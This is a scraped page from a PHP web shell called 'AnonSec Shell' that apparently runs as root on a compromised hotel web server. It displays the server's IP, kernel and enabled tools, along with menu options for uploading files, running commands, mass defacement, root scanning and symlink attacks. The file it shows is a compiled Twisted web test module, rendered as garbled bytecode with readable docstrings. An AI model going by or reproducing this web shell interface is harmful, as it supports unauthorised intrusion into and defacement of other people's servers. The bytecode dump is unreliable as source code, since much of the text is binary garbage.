AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/web/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/web/test/__pycache__/test_error.cpython-310.pyc
o

�bJ>�@s�dZddlZddlZddlZddlmZddlmZddlm	Z	ddl
mZGdd�dej�Z
Gd	d
�d
ej�ZGdd�dej�ZGd
d�dej�ZGdd�dej�ZGdd�dej�ZGdd�dej�ZGdd�dej�ZGdd�dej�ZdS)z
HTTP errors.
�N)�nativeString)�unittest)�error)�Tagc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�CodeToMessageTestsz<
    L{_codeToMessages} inverts L{_responses.RESPONSES}
    cCst�d�}|�|d�dS)N�302sFound�r�_codeToMessage�assertEqual��self�m�r�=/usr/lib/python3/dist-packages/twisted/web/test/test_error.py�test_validCode�
z!CodeToMessageTests.test_validCodecC�t�d�}|�|d�dS)Ns987rrrrr�test_invalidCoderz#CodeToMessageTests.test_invalidCodecCr)N�InvalidCoderrrrr�test_nonintegerCode rz&CodeToMessageTests.test_nonintegerCodeN)�__name__�
__module__�__qualname__�__doc__rrrrrrrrs
rc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�
ErrorTestsz<
    Tests for how L{Error} attributes are initialized.
    cC�t�d�}|�|jd�dS)z�
        If no C{message} argument is passed to the L{Error} constructor and the
        C{code} argument is a valid HTTP status code, C{code} is mapped to a
        descriptive string to which C{message} is assigned.
        �200�OKN�r�Errorr
�message�r�errr�test_noMessageValidStatus*s
z$ErrorTests.test_noMessageValidStatuscCst�d�}|�|jd�dS)z�
        If no C{message} argument is passed to the L{Error} constructor and
        C{code} isn't a valid HTTP status code, C{message} stays L{None}.
        rNrr!rrr�test_noMessageInvalidStatus3s
z&ErrorTests.test_noMessageInvalidStatuscC�t�dd�}|�|jd�dS)z�
        If a C{message} argument is passed to the L{Error} constructor, the
        C{message} isn't affected by the value of C{status}.
        r�My own messageNrr!rrr�test_messageExists;szErrorTests.test_messageExistscCs<t�dd�}|�t|�d�t�dd�}|�t|�d�dS)zh
        C{str()} on an L{Error} returns the code and message it was
        instantiated with.
        rrz200 OK��N)rrr
�strr!rrr�test_strCszErrorTests.test_strN)rrrrr#r$r'r*rrrrr%s	rc@�8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�PageRedirectTestszC
    Tests for how L{PageRedirect} attributes are initialized.
    cC� tjddd�}|�|jd�dS)z�
        If no C{message} argument is passed to the L{PageRedirect} constructor
        and the C{code} argument is a valid HTTP status code, C{code} is mapped
        to a descriptive string to which C{message} is assigned.
        r�/foo��location�
OK to /fooN�r�PageRedirectr
r r!rrrr#V�z+PageRedirectTests.test_noMessageValidStatuscCr)a;
        If no C{message} argument is passed to the L{PageRedirect} constructor
        and C{location} is also empty and the C{code} argument is a valid HTTP
        status code, C{code} is mapped to a descriptive string to which
        C{message} is assigned without trying to include an empty location.
        rrNr2r!rrr�#test_noMessageValidStatusNoLocation_s
z5PageRedirectTests.test_noMessageValidStatusNoLocationcC� tjddd�}|�|jd�dS)z�
        If no C{message} argument is passed to the L{PageRedirect} constructor
        and C{code} isn't a valid HTTP status code, C{message} stays L{None}.
        rr.r/Nr2r!rrr�)test_noMessageInvalidStatusLocationExistsisz;PageRedirectTests.test_noMessageInvalidStatusLocationExistscC�"tjdddd�}|�|jd�dS)z�
        If a C{message} argument is passed to the L{PageRedirect} constructor,
        the C{message} isn't affected by the value of C{status}.
        rr&r.r/�My own message to /fooNr2r!rrr� test_messageExistsLocationExistsq�z2PageRedirectTests.test_messageExistsLocationExistscCr%)z�
        If a C{message} argument is passed to the L{PageRedirect} constructor
        and no location is provided, C{message} doesn't try to include the
        empty location.
        rr&Nr2r!rrr�test_messageExistsNoLocationy�z.PageRedirectTests.test_messageExistsNoLocationN�	rrrrr#r5r7r:r<rrrrr,Qs	
r,c@r+)
�InfiniteRedirectionTestszJ
    Tests for how L{InfiniteRedirection} attributes are initialized.
    cCr-)z�
        If no C{message} argument is passed to the L{InfiniteRedirection}
        constructor and the C{code} argument is a valid HTTP status code,
        C{code} is mapped to a descriptive string to which C{message} is
        assigned.
        rr.r/r1N�r�InfiniteRedirectionr
r r!rrrr#�sz2InfiniteRedirectionTests.test_noMessageValidStatuscCr)aJ
        If no C{message} argument is passed to the L{InfiniteRedirection}
        constructor and C{location} is also empty and the C{code} argument is a
        valid HTTP status code, C{code} is mapped to a descriptive string to
        which C{message} is assigned without trying to include an empty
        location.
        rrNr@r!rrrr5�s
z<InfiniteRedirectionTests.test_noMessageValidStatusNoLocationcCr6)z�
        If no C{message} argument is passed to the L{InfiniteRedirection}
        constructor and C{code} isn't a valid HTTP status code, C{message} stays
        L{None}.
        rr.r/Nr@r!rrrr7�r4zBInfiniteRedirectionTests.test_noMessageInvalidStatusLocationExistscCr8)z�
        If a C{message} argument is passed to the L{InfiniteRedirection}
        constructor, the C{message} isn't affected by the value of C{status}.
        rr&r.r/r9Nr@r!rrrr:�r;z9InfiniteRedirectionTests.test_messageExistsLocationExistscCr%)z�
        If a C{message} argument is passed to the L{InfiniteRedirection}
        constructor and no location is provided, C{message} doesn't try to
        include the empty location.
        rr&Nr@r!rrrr<�r=z5InfiniteRedirectionTests.test_messageExistsNoLocationNr>rrrrr?�s
	r?c@�eZdZdZdd�ZdS)�RedirectWithNoLocationTestszq
    L{RedirectWithNoLocation} is a subclass of L{Error} which sets
    a custom message in the constructor.
    cCs.t�ddd�}|�|jd�|�|jd�dS)z�
        When C{code}, C{message}, and C{uri} are passed to the
        L{RedirectWithNoLocation} constructor, the C{message} and C{uri}
        attributes are set, respectively.
        rsREDIRECTshttps://example.comsREDIRECT to https://example.comN)r�RedirectWithNoLocationr
r �urir!rrr�test_validMessage�sz-RedirectWithNoLocationTests.test_validMessageN)rrrrrFrrrrrC�srCc@� eZdZdZdd�Zdd�ZdS)�MissingRenderMethodTestsz\
    Tests for how L{MissingRenderMethod} exceptions are initialized and
    displayed.
    cCs2t�}t�|d�}|�|j|�|�|jd�dS)z�
        Given C{element} and C{renderName} arguments, the
        L{MissingRenderMethod} constructor assigns the values to the
        corresponding attributes.
        �renderThingN)�objectr�MissingRenderMethod�assertIs�element�
renderName�r�eltr"rrr�test_constructor�sz)MissingRenderMethodTests.test_constructorcCs*t�}t�|d�}|�t|�d|�dS)z�
        A L{MissingRenderMethod} is represented using a custom string
        containing the element's representation and the method name.
        rIzB'MissingRenderMethod': %r had no render method named 'renderThing'N)rJrrKr
�reprrOrrr�	test_repr�s��z"MissingRenderMethodTests.test_reprN�rrrrrQrSrrrrrH�srHc@rG)�MissingTemplateLoaderTestsz^
    Tests for how L{MissingTemplateLoader} exceptions are initialized and
    displayed.
    cCs"t�}t�|�}|�|j|�dS)z�
        Given an C{element} argument, the L{MissingTemplateLoader} constructor
        assigns the value to the corresponding attribute.
        N)rJr�MissingTemplateLoaderrLrMrOrrrrQ�s
z+MissingTemplateLoaderTests.test_constructorcCs(t�}t�|�}|�t|�d|�dS)z�
        A L{MissingTemplateLoader} is represented using a custom string
        containing the element's representation and the method name.
        z)'MissingTemplateLoader': %r had no loaderN)rJrrVr
rRrOrrrrS�s
z$MissingTemplateLoaderTests.test_reprNrTrrrrrU�s	rUc@s�eZdZdZgfdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd S)!�FlattenerErrorTestsz&
    Tests for L{FlattenerError}.
    c
CsNztd��ty&}zt�t��d�}t�|||�WYd}~Sd}~ww)N�oh noes�)�RuntimeError�	Exception�	traceback�
extract_tb�sys�exc_infor�FlattenerError)r�rootsr"�tbrrr�makeFlattenerErrors��z&FlattenerErrorTests.makeFlattenerErrorcCsd|S)NzR(%s)r)r�objrrr�fakeFormatRoot
sz"FlattenerErrorTests.fakeFormatRootcCs&|jddgd�}|�|jddg�dS)z�
        Given C{exception}, C{roots}, and C{traceback} arguments, the
        L{FlattenerError} constructor assigns the roots to the C{_roots}
        attribute.
        �a�b)raN)rcr
�_rootsr!rrrrQsz$FlattenerErrorTests.test_constructorcCs |��}|�t|�t|��dS)zd
        The string form of a L{FlattenerError} is identical to its
        representation.
        N)rcr
r)rRr!rrrr*szFlattenerErrorTests.test_strcCs@|�ddg�}|j|_|�t�dt|�tjtjB�t|��dS)z�
        The representation of a L{FlattenerError} initialized with roots and a
        traceback contains a formatted representation of those roots (using
        C{_formatRoot}) and a formatted traceback.
        rfrgz�Exception while flattening:
  R\(a\)
  R\(b\)
  File "[^"]*", line [0-9]*, in makeFlattenerError
    raise RuntimeError\("oh noes"\)
RuntimeError: oh noes
$N)	rcre�_formatRoot�
assertTrue�re�matchrR�M�Sr!rrr�"test_reprWithRootsAndWithTraceback!s
�
�z6FlattenerErrorTests.test_reprWithRootsAndWithTracebackcCs4|�g�}|�t�dt|�tjtjB�t|��dS)��
        The representation of a L{FlattenerError} initialized without roots but
        with a traceback contains a formatted traceback but no roots.
        z�Exception while flattening:
  File "[^"]*", line [0-9]*, in makeFlattenerError
    raise RuntimeError\("oh noes"\)
RuntimeError: oh noes
$N)rcrjrkrlrRrmrnr!rrr�%test_reprWithoutRootsAndWithTraceback7s

��z9FlattenerErrorTests.test_reprWithoutRootsAndWithTracebackcCs<t�td�gd�}|�t�dt|�tjtjB�t|��dS)rprXNz3Exception while flattening:
RuntimeError: oh noes
$)	rr`rZrjrkrlrRrmrnr!rrr�(test_reprWithoutRootsAndWithoutTracebackIs
��z<FlattenerErrorTests.test_reprWithoutRootsAndWithoutTracebackcCs&|��}|�|�td��td��dS)zk
        The C{_formatRoot} method formats a short unicode string using the
        built-in repr.
        �abcdN)rcr
rirrRr!rrr�!test_formatRootShortUnicodeStringXsz5FlattenerErrorTests.test_formatRootShortUnicodeStringcCs*|��}td�}|�|�|�td��dS)z{
        The C{_formatRoot} method formats a long unicode string using the
        built-in repr with an ellipsis.
        zxabcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-z-abcde-abcde-abcde-ab<...>e-abcde-abcde-abcde-N)rcrr
rirR�rr"�
longStringrrr� test_formatRootLongUnicodeString`s�z4FlattenerErrorTests.test_formatRootLongUnicodeStringcCs"|��}|�|�d�td��dS)zh
        The C{_formatRoot} method formats a short byte string using the
        built-in repr.
        sabcdN�rcr
rirRr!rrr�test_formatRootShortByteStringl�z2FlattenerErrorTests.test_formatRootShortByteStringcCs&|��}d}|�|�|�td��dS)zx
        The C{_formatRoot} method formats a long byte string using the
        built-in repr with an ellipsis.
        sxabcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-abcde-s-abcde-abcde-abcde-ab<...>e-abcde-abcde-abcde-Nrxrurrr�test_formatRootLongByteStringts�z1FlattenerErrorTests.test_formatRootLongByteStringcCs"|��}|�|�td��d�dS)zu
        The C{_formatRoot} method formats a C{Tag} with no filename information
        as 'Tag <tagName>'.
        �a-tagzTag <a-tag>N)rcr
rirr!rrr�test_formatRootTagNoFilename�rzz0FlattenerErrorTests.test_formatRootTagNoFilenamecCs.|��}tddddd�}|�|�|�d�dS)z�
        The C{_formatRoot} method formats a C{Tag} with filename information
        using the filename, line, column, and tag information
        r|ztpl.py�
�)�filename�
lineNumber�columnNumberz-File "tpl.py", line 10, column 20, in "a-tag"N)rcrr
ri)rr"�trrr�test_formatRootTagWithFilename�s

�z2FlattenerErrorTests.test_formatRootTagWithFilenamecC�D|�tt�td�dgg��d�|�tt�td�dgg��d�dS)z�
        If a L{FlattenerError} is created with a string root, up to around 40
        bytes from that string are included in the string representation of the
        exception.
        �reason�	abc123xyzz?Exception while flattening:
  'abc123xyz'
RuntimeError: reason
�d0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789zcException while flattening:
  '01234567890123456789<...>01234567890123456789'
RuntimeError: reason
N�r
r)rr`rZ�rrrr�test_string�s��zFlattenerErrorTests.test_stringcCr�)z�
        If a L{FlattenerError} is created with a unicode root, up to around 40
        characters from that string are included in the string representation
        of the exception.
        r�u	abc☃xyzzBException while flattening:
  'abc\u2603xyz'
RuntimeError: reason
ux01234567☃901234567☃901234567☃901234567☃901234567☃901234567☃901234567☃901234567☃901234567☃901234567☃9zwException while flattening:
  '01234567\u2603901234567\u26039<...>01234567\u2603901234567\u26039'
RuntimeError: reason
Nr�r�rrr�test_unicode�s�����z FlattenerErrorTests.test_unicodeN)rrrrrcrerQr*rorqrrrtrwryr{r}r�r�r�rrrrrWs"	rWc@rB)�UnsupportedMethodTestsz)
    Tests for L{UnsupportedMethod}.
    cCs"t�ddg�}|�t|�d�dS)z�
        The C{__str__} for L{UnsupportedMethod} makes it clear that what it
        shows is a list of the supported methods, not the method that was
        unsupported.
        sHEADsPATCHz#Expected one of [b'HEAD', b'PATCH']N)r�UnsupportedMethodr
r)r!rrrr*�s
�zUnsupportedMethodTests.test_strN)rrrrr*rrrrr��sr�)rrkr^r\�twisted.python.compatr�
twisted.trialr�twisted.webr�twisted.web.templater�TestCaserrr,r?rCrHrUrW�SynchronousTestCaser�rrrr�<module>s$,25A

Anon7 - 2022
AnonSec Team